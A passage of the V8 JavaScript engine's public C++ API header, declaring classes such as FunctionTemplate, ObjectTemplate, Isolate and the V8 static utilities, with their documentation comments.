 public:
  /**
   * Regular expression flag bits. They can be or'ed to enable a set
   * of flags.
   */
  enum Flags {
    kNone = 0,
    kGlobal = 1,
    kIgnoreCase = 2,
    kMultiline = 4
  };

  /**
   * Creates a regular expression from the given pattern string and
   * the flags bit field. May throw a JavaScript exception as
   * described in ECMA-262, 15.10.4.1.
   *
   * For example,
   *   RegExp::New(v8::String::New("foo"),
   *               static_cast<RegExp::Flags>(kGlobal | kMultiline))
   * is equivalent to evaluating "/foo/gm".
   */
  V8EXPORT static Local<RegExp> New(Handle<String> pattern,
                                    Flags flags);

  /**
   * Returns the value of the source property: a string representing
   * the regular expression.
   */
  V8EXPORT Local<String> GetSource() const;

  /**
   * Returns the flags bit field.
   */
  V8EXPORT Flags GetFlags() const;

  static inline RegExp* Cast(v8::Value* obj);

 private:
  V8EXPORT static void CheckCast(v8::Value* obj);
};


/**
 * A JavaScript value that wraps a C++ void*.  This type of value is
 * mainly used to associate C++ data structures with JavaScript
 * objects.
 *
 * The Wrap function V8 will return the most optimal Value object wrapping the
 * C++ void*. The type of the value is not guaranteed to be an External object
 * and no assumptions about its type should be made. To access the wrapped
 * value Unwrap should be used, all other operations on that object will lead
 * to unpredictable results.
 */
class External : public Value {
 public:
  V8EXPORT static Local<Value> Wrap(void* data);
  static inline void* Unwrap(Handle<Value> obj);

  V8EXPORT static Local<External> New(void* value);
  static inline External* Cast(Value* obj);
  V8EXPORT void* Value() const;
 private:
  V8EXPORT External();
  V8EXPORT static void CheckCast(v8::Value* obj);
  static inline void* QuickUnwrap(Handle<v8::Value> obj);
  V8EXPORT static void* FullUnwrap(Handle<v8::Value> obj);
};


// --- Templates ---


/**
 * The superclass of object and function templates.
 */
class V8EXPORT Template : public Data {
 public:
  /** Adds a property to each instance created by this template.*/
  void Set(Handle<String> name, Handle<Data> value,
           PropertyAttribute attributes = None);
  inline void Set(const char* name, Handle<Data> value);
 private:
  Template();

  friend class ObjectTemplate;
  friend class FunctionTemplate;
};


/**
 * The argument information given to function call callbacks.  This
 * class provides access to information about the context of the call,
 * including the receiver, the number and values of arguments, and
 * the holder of the function.
 */
class Arguments {
 public:
  inline int Length() const;
  inline Local<Value> operator[](int i) const;
  inline Local<Function> Callee() const;
  inline Local<Object> This() const;
  inline Local<Object> Holder() const;
  inline bool IsConstructCall() const;
  inline Local<Value> Data() const;
  inline Isolate* GetIsolate() const;

 private:
  static const int kIsolateIndex = 0;
  static const int kDataIndex = -1;
  static const int kCalleeIndex = -2;
  static const int kHolderIndex = -3;

  friend class ImplementationUtilities;
  inline Arguments(internal::Object** implicit_args,
                   internal::Object** values,
                   int length,
                   bool is_construct_call);
  internal::Object** implicit_args_;
  internal::Object** values_;
  int length_;
  bool is_construct_call_;
};


/**
 * The information passed to an accessor callback about the context
 * of the property access.
 */
class V8EXPORT AccessorInfo {
 public:
  inline AccessorInfo(internal::Object** args)
      : args_(args) { }
  inline Isolate* GetIsolate() const;
  inline Local<Value> Data() const;
  inline Local<Object> This() const;
  inline Local<Object> Holder() const;

 private:
  internal::Object** args_;
};


typedef Handle<Value> (*InvocationCallback)(const Arguments& args);

/**
 * NamedProperty[Getter|Setter] are used as interceptors on object.
 * See ObjectTemplate::SetNamedPropertyHandler.
 */
typedef Handle<Value> (*NamedPropertyGetter)(Local<String> property,
                                             const AccessorInfo& info);


/**
 * Returns the value if the setter intercepts the request.
 * Otherwise, returns an empty handle.
 */
typedef Handle<Value> (*NamedPropertySetter)(Local<String> property,
                                             Local<Value> value,
                                             const AccessorInfo& info);

/**
 * Returns a non-empty handle if the interceptor intercepts the request.
 * The result is an integer encoding property attributes (like v8::None,
 * v8::DontEnum, etc.)
 */
typedef Handle<Integer> (*NamedPropertyQuery)(Local<String> property,
                                              const AccessorInfo& info);


/**
 * Returns a non-empty handle if the deleter intercepts the request.
 * The return value is true if the property could be deleted and false
 * otherwise.
 */
typedef Handle<Boolean> (*NamedPropertyDeleter)(Local<String> property,
                                                const AccessorInfo& info);

/**
 * Returns an array containing the names of the properties the named
 * property getter intercepts.
 */
typedef Handle<Array> (*NamedPropertyEnumerator)(const AccessorInfo& info);


/**
 * Returns the value of the property if the getter intercepts the
 * request.  Otherwise, returns an empty handle.
 */
typedef Handle<Value> (*IndexedPropertyGetter)(uint32_t index,
                                               const AccessorInfo& info);


/**
 * Returns the value if the setter intercepts the request.
 * Otherwise, returns an empty handle.
 */
typedef Handle<Value> (*IndexedPropertySetter)(uint32_t index,
                                               Local<Value> value,
                                               const AccessorInfo& info);


/**
 * Returns a non-empty handle if the interceptor intercepts the request.
 * The result is an integer encoding property attributes.
 */
typedef Handle<Integer> (*IndexedPropertyQuery)(uint32_t index,
                                                const AccessorInfo& info);

/**
 * Returns a non-empty handle if the deleter intercepts the request.
 * The return value is true if the property could be deleted and false
 * otherwise.
 */
typedef Handle<Boolean> (*IndexedPropertyDeleter)(uint32_t index,
                                                  const AccessorInfo& info);

/**
 * Returns an array containing the indices of the properties the
 * indexed property getter intercepts.
 */
typedef Handle<Array> (*IndexedPropertyEnumerator)(const AccessorInfo& info);


/**
 * Access type specification.
 */
enum AccessType {
  ACCESS_GET,
  ACCESS_SET,
  ACCESS_HAS,
  ACCESS_DELETE,
  ACCESS_KEYS
};


/**
 * Returns true if cross-context access should be allowed to the named
 * property with the given key on the host object.
 */
typedef bool (*NamedSecurityCallback)(Local<Object> host,
                                      Local<Value> key,
                                      AccessType type,
                                      Local<Value> data);


/**
 * Returns true if cross-context access should be allowed to the indexed
 * property with the given index on the host object.
 */
typedef bool (*IndexedSecurityCallback)(Local<Object> host,
                                        uint32_t index,
                                        AccessType type,
                                        Local<Value> data);


/**
 * A FunctionTemplate is used to create functions at runtime. There
 * can only be one function created from a FunctionTemplate in a
 * context.  The lifetime of the created function is equal to the
 * lifetime of the context.  So in case the embedder needs to create
 * temporary functions that can be collected using Scripts is
 * preferred.
 *
 * A FunctionTemplate can have properties, these properties are added to the
 * function object when it is created.
 *
 * A FunctionTemplate has a corresponding instance template which is
 * used to create object instances when the function is used as a
 * constructor. Properties added to the instance template are added to
 * each object instance.
 *
 * A FunctionTemplate can have a prototype template. The prototype template
 * is used to create the prototype object of the function.
 *
 * The following example shows how to use a FunctionTemplate:
 *
 * \code
 *    v8::Local<v8::FunctionTemplate> t = v8::FunctionTemplate::New();
 *    t->Set("func_property", v8::Number::New(1));
 *
 *    v8::Local<v8::Template> proto_t = t->PrototypeTemplate();
 *    proto_t->Set("proto_method", v8::FunctionTemplate::New(InvokeCallback));
 *    proto_t->Set("proto_const", v8::Number::New(2));
 *
 *    v8::Local<v8::ObjectTemplate> instance_t = t->InstanceTemplate();
 *    instance_t->SetAccessor("instance_accessor", InstanceAccessorCallback);
 *    instance_t->SetNamedPropertyHandler(PropertyHandlerCallback, ...);
 *    instance_t->Set("instance_property", Number::New(3));
 *
 *    v8::Local<v8::Function> function = t->GetFunction();
 *    v8::Local<v8::Object> instance = function->NewInstance();
 * \endcode
 *
 * Let's use "function" as the JS variable name of the function object
 * and "instance" for the instance object created above.  The function
 * and the instance will have the following properties:
 *
 * \code
 *   func_property in function == true;
 *   function.func_property == 1;
 *
 *   function.prototype.proto_method() invokes 'InvokeCallback'
 *   function.prototype.proto_const == 2;
 *
 *   instance instanceof function == true;
 *   instance.instance_accessor calls 'InstanceAccessorCallback'
 *   instance.instance_property == 3;
 * \endcode
 *
 * A FunctionTemplate can inherit from another one by calling the
 * FunctionTemplate::Inherit method.  The following graph illustrates
 * the semantics of inheritance:
 *
 * \code
 *   FunctionTemplate Parent  -> Parent() . prototype -> { }
 *     ^                                                  ^
 *     | Inherit(Parent)                                  | .__proto__
 *     |                                                  |
 *   FunctionTemplate Child   -> Child()  . prototype -> { }
 * \endcode
 *
 * A FunctionTemplate 'Child' inherits from 'Parent', the prototype
 * object of the Child() function has __proto__ pointing to the
 * Parent() function's prototype object. An instance of the Child
 * function has all properties on Parent's instance templates.
 *
 * Let Parent be the FunctionTemplate initialized in the previous
 * section and create a Child FunctionTemplate by:
 *
 * \code
 *   Local<FunctionTemplate> parent = t;
 *   Local<FunctionTemplate> child = FunctionTemplate::New();
 *   child->Inherit(parent);
 *
 *   Local<Function> child_function = child->GetFunction();
 *   Local<Object> child_instance = child_function->NewInstance();
 * \endcode
 *
 * The Child function and Child instance will have the following
 * properties:
 *
 * \code
 *   child_func.prototype.__proto__ == function.prototype;
 *   child_instance.instance_accessor calls 'InstanceAccessorCallback'
 *   child_instance.instance_property == 3;
 * \endcode
 */
class V8EXPORT FunctionTemplate : public Template {
 public:
  /** Creates a function template.*/
  static Local<FunctionTemplate> New(
      InvocationCallback callback = 0,
      Handle<Value> data = Handle<Value>(),
      Handle<Signature> signature = Handle<Signature>());
  /** Returns the unique function instance in the current execution context.*/
  Local<Function> GetFunction();

  /**
   * Set the call-handler callback for a FunctionTemplate.  This
   * callback is called whenever the function created from this
   * FunctionTemplate is called.
   */
  void SetCallHandler(InvocationCallback callback,
                      Handle<Value> data = Handle<Value>());

  /** Get the InstanceTemplate. */
  Local<ObjectTemplate> InstanceTemplate();

  /** Causes the function template to inherit from a parent function template.*/
  void Inherit(Handle<FunctionTemplate> parent);

  /**
   * A PrototypeTemplate is the template used to create the prototype object
   * of the function created by this template.
   */
  Local<ObjectTemplate> PrototypeTemplate();


  /**
   * Set the class name of the FunctionTemplate.  This is used for
   * printing objects created with the function created from the
   * FunctionTemplate as its constructor.
   */
  void SetClassName(Handle<String> name);

  /**
   * Determines whether the __proto__ accessor ignores instances of
   * the function template.  If instances of the function template are
   * ignored, __proto__ skips all instances and instead returns the
   * next object in the prototype chain.
   *
   * Call with a value of true to make the __proto__ accessor ignore
   * instances of the function template.  Call with a value of false
   * to make the __proto__ accessor not ignore instances of the
   * function template.  By default, instances of a function template
   * are not ignored.
   */
  void SetHiddenPrototype(bool value);

  /**
   * Sets the ReadOnly flag in the attributes of the 'prototype' property
   * of functions created from this FunctionTemplate to true.
   */
  void ReadOnlyPrototype();

  /**
   * Returns true if the given object is an instance of this function
   * template.
   */
  bool HasInstance(Handle<Value> object);

 private:
  FunctionTemplate();
  void AddInstancePropertyAccessor(Handle<String> name,
                                   AccessorGetter getter,
                                   AccessorSetter setter,
                                   Handle<Value> data,
                                   AccessControl settings,
                                   PropertyAttribute attributes,
                                   Handle<AccessorSignature> signature);
  void SetNamedInstancePropertyHandler(NamedPropertyGetter getter,
                                       NamedPropertySetter setter,
                                       NamedPropertyQuery query,
                                       NamedPropertyDeleter remover,
                                       NamedPropertyEnumerator enumerator,
                                       Handle<Value> data);
  void SetIndexedInstancePropertyHandler(IndexedPropertyGetter getter,
                                         IndexedPropertySetter setter,
                                         IndexedPropertyQuery query,
                                         IndexedPropertyDeleter remover,
                                         IndexedPropertyEnumerator enumerator,
                                         Handle<Value> data);
  void SetInstanceCallAsFunctionHandler(InvocationCallback callback,
                                        Handle<Value> data);

  friend class Context;
  friend class ObjectTemplate;
};


/**
 * An ObjectTemplate is used to create objects at runtime.
 *
 * Properties added to an ObjectTemplate are added to each object
 * created from the ObjectTemplate.
 */
class V8EXPORT ObjectTemplate : public Template {
 public:
  /** Creates an ObjectTemplate. */
  static Local<ObjectTemplate> New();

  /** Creates a new instance of this template.*/
  Local<Object> NewInstance();

  /**
   * Sets an accessor on the object template.
   *
   * Whenever the property with the given name is accessed on objects
   * created from this ObjectTemplate the getter and setter callbacks
   * are called instead of getting and setting the property directly
   * on the JavaScript object.
   *
   * \param name The name of the property for which an accessor is added.
   * \param getter The callback to invoke when getting the property.
   * \param setter The callback to invoke when setting the property.
   * \param data A piece of data that will be passed to the getter and setter
   *   callbacks whenever they are invoked.
   * \param settings Access control settings for the accessor. This is a bit
   *   field consisting of one of more of
   *   DEFAULT = 0, ALL_CAN_READ = 1, or ALL_CAN_WRITE = 2.
   *   The default is to not allow cross-context access.
   *   ALL_CAN_READ means that all cross-context reads are allowed.
   *   ALL_CAN_WRITE means that all cross-context writes are allowed.
   *   The combination ALL_CAN_READ | ALL_CAN_WRITE can be used to allow all
   *   cross-context access.
   * \param attribute The attributes of the property for which an accessor
   *   is added.
   * \param signature The signature describes valid receivers for the accessor
   *   and is used to perform implicit instance checks against them. If the
   *   receiver is incompatible (i.e. is not an instance of the constructor as
   *   defined by FunctionTemplate::HasInstance()), an implicit TypeError is
   *   thrown and no callback is invoked.
   */
  void SetAccessor(Handle<String> name,
                   AccessorGetter getter,
                   AccessorSetter setter = 0,
                   Handle<Value> data = Handle<Value>(),
                   AccessControl settings = DEFAULT,
                   PropertyAttribute attribute = None,
                   Handle<AccessorSignature> signature =
                       Handle<AccessorSignature>());

  /**
   * Sets a named property handler on the object template.
   *
   * Whenever a named property is accessed on objects created from
   * this object template, the provided callback is invoked instead of
   * accessing the property directly on the JavaScript object.
   *
   * \param getter The callback to invoke when getting a property.
   * \param setter The callback to invoke when setting a property.
   * \param query The callback to invoke to check if a property is present,
   *   and if present, get its attributes.
   * \param deleter The callback to invoke when deleting a property.
   * \param enumerator The callback to invoke to enumerate all the named
   *   properties of an object.
   * \param data A piece of data that will be passed to the callbacks
   *   whenever they are invoked.
   */
  void SetNamedPropertyHandler(NamedPropertyGetter getter,
                               NamedPropertySetter setter = 0,
                               NamedPropertyQuery query = 0,
                               NamedPropertyDeleter deleter = 0,
                               NamedPropertyEnumerator enumerator = 0,
                               Handle<Value> data = Handle<Value>());

  /**
   * Sets an indexed property handler on the object template.
   *
   * Whenever an indexed property is accessed on objects created from
   * this object template, the provided callback is invoked instead of
   * accessing the property directly on the JavaScript object.
   *
   * \param getter The callback to invoke when getting a property.
   * \param setter The callback to invoke when setting a property.
   * \param query The callback to invoke to check if an object has a property.
   * \param deleter The callback to invoke when deleting a property.
   * \param enumerator The callback to invoke to enumerate all the indexed
   *   properties of an object.
   * \param data A piece of data that will be passed to the callbacks
   *   whenever they are invoked.
   */
  void SetIndexedPropertyHandler(IndexedPropertyGetter getter,
                                 IndexedPropertySetter setter = 0,
                                 IndexedPropertyQuery query = 0,
                                 IndexedPropertyDeleter deleter = 0,
                                 IndexedPropertyEnumerator enumerator = 0,
                                 Handle<Value> data = Handle<Value>());

  /**
   * Sets the callback to be used when calling instances created from
   * this template as a function.  If no callback is set, instances
   * behave like normal JavaScript objects that cannot be called as a
   * function.
   */
  void SetCallAsFunctionHandler(InvocationCallback callback,
                                Handle<Value> data = Handle<Value>());

  /**
   * Mark object instances of the template as undetectable.
   *
   * In many ways, undetectable objects behave as though they are not
   * there.  They behave like 'undefined' in conditionals and when
   * printed.  However, properties can be accessed and called as on
   * normal objects.
   */
  void MarkAsUndetectable();

  /**
   * Sets access check callbacks on the object template.
   *
   * When accessing properties on instances of this object template,
   * the access check callback will be called to determine whether or
   * not to allow cross-context access to the properties.
   * The last parameter specifies whether access checks are turned
   * on by default on instances. If access checks are off by default,
   * they can be turned on on individual instances by calling
   * Object::TurnOnAccessCheck().
   */
  void SetAccessCheckCallbacks(NamedSecurityCallback named_handler,
                               IndexedSecurityCallback indexed_handler,
                               Handle<Value> data = Handle<Value>(),
                               bool turned_on_by_default = true);

  /**
   * Gets the number of internal fields for objects generated from
   * this template.
   */
  int InternalFieldCount();

  /**
   * Sets the number of internal fields for objects generated from
   * this template.
   */
  void SetInternalFieldCount(int value);

 private:
  ObjectTemplate();
  static Local<ObjectTemplate> New(Handle<FunctionTemplate> constructor);
  friend class FunctionTemplate;
};


/**
 * A Signature specifies which receivers and arguments are valid
 * parameters to a function.
 */
class V8EXPORT Signature : public Data {
 public:
  static Local<Signature> New(Handle<FunctionTemplate> receiver =
                                  Handle<FunctionTemplate>(),
                              int argc = 0,
                              Handle<FunctionTemplate> argv[] = 0);
 private:
  Signature();
};


/**
 * An AccessorSignature specifies which receivers are valid parameters
 * to an accessor callback.
 */
class V8EXPORT AccessorSignature : public Data {
 public:
  static Local<AccessorSignature> New(Handle<FunctionTemplate> receiver =
                                          Handle<FunctionTemplate>());
 private:
  AccessorSignature();
};


/**
 * A utility for determining the type of objects based on the template
 * they were constructed from.
 */
class V8EXPORT TypeSwitch : public Data {
 public:
  static Local<TypeSwitch> New(Handle<FunctionTemplate> type);
  static Local<TypeSwitch> New(int argc, Handle<FunctionTemplate> types[]);
  int match(Handle<Value> value);
 private:
  TypeSwitch();
};


// --- Extensions ---

class V8EXPORT ExternalAsciiStringResourceImpl
    : public String::ExternalAsciiStringResource {
 public:
  ExternalAsciiStringResourceImpl() : data_(0), length_(0) {}
  ExternalAsciiStringResourceImpl(const char* data, size_t length)
      : data_(data), length_(length) {}
  const char* data() const { return data_; }
  size_t length() const { return length_; }

 private:
  const char* data_;
  size_t length_;
};

/**
 * Ignore
 */
class V8EXPORT Extension {  // NOLINT
 public:
  // Note that the strings passed into this constructor must live as long
  // as the Extension itself.
  Extension(const char* name,
            const char* source = 0,
            int dep_count = 0,
            const char** deps = 0,
            int source_length = -1);
  virtual ~Extension() { }
  virtual v8::Handle<v8::FunctionTemplate>
      GetNativeFunction(v8::Handle<v8::String> name) {
    return v8::Handle<v8::FunctionTemplate>();
  }

  const char* name() const { return name_; }
  size_t source_length() const { return source_length_; }
  const String::ExternalAsciiStringResource* source() const {
    return &source_; }
  int dependency_count() { return dep_count_; }
  const char** dependencies() { return deps_; }
  void set_auto_enable(bool value) { auto_enable_ = value; }
  bool auto_enable() { return auto_enable_; }

 private:
  const char* name_;
  size_t source_length_;  // expected to initialize before source_
  ExternalAsciiStringResourceImpl source_;
  int dep_count_;
  const char** deps_;
  bool auto_enable_;

  // Disallow copying and assigning.
  Extension(const Extension&);
  void operator=(const Extension&);
};


void V8EXPORT RegisterExtension(Extension* extension);


/**
 * Ignore
 */
class V8EXPORT DeclareExtension {
 public:
  inline DeclareExtension(Extension* extension) {
    RegisterExtension(extension);
  }
};


// --- Statics ---


Handle<Primitive> V8EXPORT Undefined();
Handle<Primitive> V8EXPORT Null();
Handle<Boolean> V8EXPORT True();
Handle<Boolean> V8EXPORT False();

inline Handle<Primitive> Undefined(Isolate* isolate);
inline Handle<Primitive> Null(Isolate* isolate);
inline Handle<Boolean> True(Isolate* isolate);
inline Handle<Boolean> False(Isolate* isolate);


/**
 * A set of constraints that specifies the limits of the runtime's memory use.
 * You must set the heap size before initializing the VM - the size cannot be
 * adjusted after the VM is initialized.
 *
 * If you are using threads then you should hold the V8::Locker lock while
 * setting the stack limit and you must set a non-default stack limit separately
 * for each thread.
 */
class V8EXPORT ResourceConstraints {
 public:
  ResourceConstraints();
  int max_young_space_size() const { return max_young_space_size_; }
  void set_max_young_space_size(int value) { max_young_space_size_ = value; }
  int max_old_space_size() const { return max_old_space_size_; }
  void set_max_old_space_size(int value) { max_old_space_size_ = value; }
  int max_executable_size() { return max_executable_size_; }
  void set_max_executable_size(int value) { max_executable_size_ = value; }
  uint32_t* stack_limit() const { return stack_limit_; }
  // Sets an address beyond which the VM's stack may not grow.
  void set_stack_limit(uint32_t* value) { stack_limit_ = value; }
 private:
  int max_young_space_size_;
  int max_old_space_size_;
  int max_executable_size_;
  uint32_t* stack_limit_;
};


bool V8EXPORT SetResourceConstraints(ResourceConstraints* constraints);


// --- Exceptions ---


typedef void (*FatalErrorCallback)(const char* location, const char* message);


typedef void (*MessageCallback)(Handle<Message> message, Handle<Value> data);


/**
 * Schedules an exception to be thrown when returning to JavaScript.  When an
 * exception has been scheduled it is illegal to invoke any JavaScript
 * operation; the caller must return immediately and only after the exception
 * has been handled does it become legal to invoke JavaScript operations.
 */
Handle<Value> V8EXPORT ThrowException(Handle<Value> exception);

/**
 * Create new error objects by calling the corresponding error object
 * constructor with the message.
 */
class V8EXPORT Exception {
 public:
  static Local<Value> RangeError(Handle<String> message);
  static Local<Value> ReferenceError(Handle<String> message);
  static Local<Value> SyntaxError(Handle<String> message);
  static Local<Value> TypeError(Handle<String> message);
  static Local<Value> Error(Handle<String> message);
};


// --- Counters Callbacks ---

typedef int* (*CounterLookupCallback)(const char* name);

typedef void* (*CreateHistogramCallback)(const char* name,
                                         int min,
                                         int max,
                                         size_t buckets);

typedef void (*AddHistogramSampleCallback)(void* histogram, int sample);

// --- Memory Allocation Callback ---
  enum ObjectSpace {
    kObjectSpaceNewSpace = 1 << 0,
    kObjectSpaceOldPointerSpace = 1 << 1,
    kObjectSpaceOldDataSpace = 1 << 2,
    kObjectSpaceCodeSpace = 1 << 3,
    kObjectSpaceMapSpace = 1 << 4,
    kObjectSpaceLoSpace = 1 << 5,

    kObjectSpaceAll = kObjectSpaceNewSpace | kObjectSpaceOldPointerSpace |
      kObjectSpaceOldDataSpace | kObjectSpaceCodeSpace | kObjectSpaceMapSpace |
      kObjectSpaceLoSpace
  };

  enum AllocationAction {
    kAllocationActionAllocate = 1 << 0,
    kAllocationActionFree = 1 << 1,
    kAllocationActionAll = kAllocationActionAllocate | kAllocationActionFree
  };

typedef void (*MemoryAllocationCallback)(ObjectSpace space,
                                         AllocationAction action,
                                         int size);

// --- Leave Script Callback ---
typedef void (*CallCompletedCallback)();

// --- Failed Access Check Callback ---
typedef void (*FailedAccessCheckCallback)(Local<Object> target,
                                          AccessType type,
                                          Local<Value> data);

// --- AllowCodeGenerationFromStrings callbacks ---

/**
 * Callback to check if code generation from strings is allowed. See
 * Context::AllowCodeGenerationFromStrings.
 */
typedef bool (*AllowCodeGenerationFromStringsCallback)(Local<Context> context);

// --- Garbage Collection Callbacks ---

/**
 * Applications can register callback functions which will be called
 * before and after a garbage collection.  Allocations are not
 * allowed in the callback functions, you therefore cannot manipulate
 * objects (set or delete properties for example) since it is possible
 * such operations will result in the allocation of objects.
 */
enum GCType {
  kGCTypeScavenge = 1 << 0,
  kGCTypeMarkSweepCompact = 1 << 1,
  kGCTypeAll = kGCTypeScavenge | kGCTypeMarkSweepCompact
};

enum GCCallbackFlags {
  kNoGCCallbackFlags = 0,
  kGCCallbackFlagCompacted = 1 << 0
};

typedef void (*GCPrologueCallback)(GCType type, GCCallbackFlags flags);
typedef void (*GCEpilogueCallback)(GCType type, GCCallbackFlags flags);

typedef void (*GCCallback)();


/**
 * Collection of V8 heap information.
 *
 * Instances of this class can be passed to v8::V8::HeapStatistics to
 * get heap statistics from V8.
 */
class V8EXPORT HeapStatistics {
 public:
  HeapStatistics();
  size_t total_heap_size() { return total_heap_size_; }
  size_t total_heap_size_executable() { return total_heap_size_executable_; }
  size_t used_heap_size() { return used_heap_size_; }
  size_t heap_size_limit() { return heap_size_limit_; }

 private:
  void set_total_heap_size(size_t size) { total_heap_size_ = size; }
  void set_total_heap_size_executable(size_t size) {
    total_heap_size_executable_ = size;
  }
  void set_used_heap_size(size_t size) { used_heap_size_ = size; }
  void set_heap_size_limit(size_t size) { heap_size_limit_ = size; }

  size_t total_heap_size_;
  size_t total_heap_size_executable_;
  size_t used_heap_size_;
  size_t heap_size_limit_;

  friend class V8;
};


class RetainedObjectInfo;

/**
 * Isolate represents an isolated instance of the V8 engine.  V8
 * isolates have completely separate states.  Objects from one isolate
 * must not be used in other isolates.  When V8 is initialized a
 * default isolate is implicitly created and entered.  The embedder
 * can create additional isolates and use them in parallel in multiple
 * threads.  An isolate can be entered by at most one thread at any
 * given time.  The Locker/Unlocker API must be used to synchronize.
 */
class V8EXPORT Isolate {
 public:
  /**
   * Stack-allocated class which sets the isolate for all operations
   * executed within a local scope.
   */
  class V8EXPORT Scope {
   public:
    explicit Scope(Isolate* isolate) : isolate_(isolate) {
      isolate->Enter();
    }

    ~Scope() { isolate_->Exit(); }

   private:
    Isolate* const isolate_;

    // Prevent copying of Scope objects.
    Scope(const Scope&);
    Scope& operator=(const Scope&);
  };

  /**
   * Creates a new isolate.  Does not change the currently entered
   * isolate.
   *
   * When an isolate is no longer used its resources should be freed
   * by calling Dispose().  Using the delete operator is not allowed.
   */
  static Isolate* New();

  /**
   * Returns the entered isolate for the current thread or NULL in
   * case there is no current isolate.
   */
  static Isolate* GetCurrent();

  /**
   * Methods below this point require holding a lock (using Locker) in
   * a multi-threaded environment.
   */

  /**
   * Sets this isolate as the entered one for the current thread.
   * Saves the previously entered one (if any), so that it can be
   * restored when exiting.  Re-entering an isolate is allowed.
   */
  void Enter();

  /**
   * Exits this isolate by restoring the previously entered one in the
   * current thread.  The isolate may still stay the same, if it was
   * entered more than once.
   *
   * Requires: this == Isolate::GetCurrent().
   */
  void Exit();

  /**
   * Disposes the isolate.  The isolate must not be entered by any
   * thread to be disposable.
   */
  void Dispose();

  /**
   * Associate embedder-specific data with the isolate
   */
  inline void SetData(void* data);

  /**
   * Retrieve embedder-specific data from the isolate.
   * Returns NULL if SetData has never been called.
   */
  inline void* GetData();

 private:
  Isolate();
  Isolate(const Isolate&);
  ~Isolate();
  Isolate& operator=(const Isolate&);
  void* operator new(size_t size);
  void operator delete(void*, size_t);
};


class StartupData {
 public:
  enum CompressionAlgorithm {
    kUncompressed,
    kBZip2
  };

  const char* data;
  int compressed_size;
  int raw_size;
};


/**
 * A helper class for driving V8 startup data decompression.  It is based on
 * "CompressedStartupData" API functions from the V8 class.  It isn't mandatory
 * for an embedder to use this class, instead, API functions can be used
 * directly.
 *
 * For an example of the class usage, see the "shell.cc" sample application.
 */
class V8EXPORT StartupDataDecompressor {  // NOLINT
 public:
  StartupDataDecompressor();
  virtual ~StartupDataDecompressor();
  int Decompress();

 protected:
  virtual int DecompressData(char* raw_data,
                             int* raw_data_size,
                             const char* compressed_data,
                             int compressed_data_size) = 0;

 private:
  char** raw_data;
};


/**
 * EntropySource is used as a callback function when v8 needs a source
 * of entropy.
 */
typedef bool (*EntropySource)(unsigned char* buffer, size_t length);


/**
 * ReturnAddressLocationResolver is used as a callback function when v8 is
 * resolving the location of a return address on the stack. Profilers that
 * change the return address on the stack can use this to resolve the stack
 * location to whereever the profiler stashed the original return address.
 * When invoked, return_addr_location will point to a location on stack where
 * a machine return address resides, this function should return either the
 * same pointer, or a pointer to the profiler's copy of the original return
 * address.
 */
typedef uintptr_t (*ReturnAddressLocationResolver)(
    uintptr_t return_addr_location);


/**
 * Interface for iterating though all external resources in the heap.
 */
class V8EXPORT ExternalResourceVisitor {  // NOLINT
 public:
  virtual ~ExternalResourceVisitor() {}
  virtual void VisitExternalString(Handle<String> string) {}
};


/**
 * Container class for static utility functions.
 */
class V8EXPORT V8 {
 public:
  /** Set the callback to invoke in case of fatal errors. */
  static void SetFatalErrorHandler(FatalErrorCallback that);

  /**
   * Set the callback to invoke to check if code generation from
   * strings should be allowed.
   */
  static void SetAllowCodeGenerationFromStringsCallback(
      AllowCodeGenerationFromStringsCallback that);

  /**
   * Ignore out-of-memory exceptions.
   *
   * V8 running out of memory is treated as a fatal error by default.
   * This means that the fatal error handler is called and that V8 is
   * terminated.
   *
   * IgnoreOutOfMemoryException can be used to not treat an
   * out-of-memory situation as a fatal error.  This way, the contexts
   * that did not cause the out of memory problem might be able to
   * continue execution.
   */
  static void IgnoreOutOfMemoryException();

  /**
   * Check if V8 is dead and therefore unusable.  This is the case after
   * fatal errors such as out-of-memory situations.
   */
  static bool IsDead();

  /**
   * The following 4 functions are to be used when V8 is built with
   * the 'compress_startup_data' flag enabled. In this case, the
   * embedder must decompress startup data prior to initializing V8.
   *
   * This is how interaction with V8 should look like:
   *   int compressed_data_count = v8::V8::GetCompressedStartupDataCount();
   *   v8::StartupData* compressed_data =
   *     new v8::StartupData[compressed_data_count];
   *   v8::V8::GetCompressedStartupData(compressed_data);
   *   ... decompress data (compressed_data can be updated in-place) ...
   *   v8::V8::SetDecompressedStartupData(compressed_data);
   *   ... now V8 can be initialized
   *   ... make sure the decompressed data stays valid until V8 shutdown
   *
   * A helper class StartupDataDecompressor is provided. It implements
   * the protocol of the interaction described above, and can be used in
   * most cases instead of calling these API functions directly.
   */
  static StartupData::CompressionAlgorithm GetCompressedStartupDataAlgorithm();
  static int GetCompressedStartupDataCount();
  static void GetCompressedStartupData(StartupData* compressed_data);
  static void SetDecompressedStartupData(StartupData* decompressed_data);

  /**
   * Adds a message listener.
   *
   * The same message listener can be added more than once and in that
   * case it will be called more than once for each message.
   */
  static bool AddMessageListener(MessageCallback that,
                                 Handle<Value> data = Handle<Value>());

  /**
   * Remove all message listeners from the specified callback function.
   */
  static void RemoveMessageListeners(MessageCallback that);

  /**
   * Tells V8 to capture current stack trace when uncaught exception occurs
   * and report it to the message listeners. The option is off by default.
   */
  static void SetCaptureStackTraceForUncaughtExceptions(
      bool capture,
      int frame_limit = 10,
      StackTrace::StackTraceOptions options = StackTrace::kOverview);

  /**
   * Sets V8 flags from a string.
   */
  static void SetFlagsFromString(const char* str, int length);

  /**
   * Sets V8 flags from the command line.
   */
  static void SetFlagsFromCommandLine(int* argc,
                                      char** argv,
                                      bool remove_flags);

  /** Get the version string. */
  static const char* GetVersion();

  /**
   * Enables the host application to provide a mechanism for recording
   * statistics counters.
   */
  static void SetCounterFunction(CounterLookupCallback);

  /**
   * Enables the host application to provide a mechanism for recording
   * histograms. The CreateHistogram function returns a
   * histogram which will later be passed to the AddHistogramSample
   * function.
   */
  static void SetCreateHistogramFunction(CreateHistogramCallback);
  static void SetAddHistogramSampleFunction(AddHistogramSampleCallback);

  /**
   * Enables the computation of a sliding window of states. The sliding
   * window information is recorded in statistics counters.
   */
  static void EnableSlidingStateWindow();

  /** Callback function for reporting failed access checks.*/
  static void SetFailedAccessCheckCallbackFunction(FailedAccessCheckCallback);

  /**
   * Enables the host application to receive a notification before a
   * garbage collection.  Allocations are not allowed in the
   * callback function, you therefore cannot manipulate objects (set
   * or delete properties for example) since it is possible such
   * operations will result in the allocation of objects. It is possible
   * to specify the GCType filter for your callback. But it is not possible to
   * register the same callback function two times with different
   * GCType filters.
   */
  static void AddGCPrologueCallback(
      GCPrologueCallback callback, GCType gc_type_filter = kGCTypeAll);

  /**
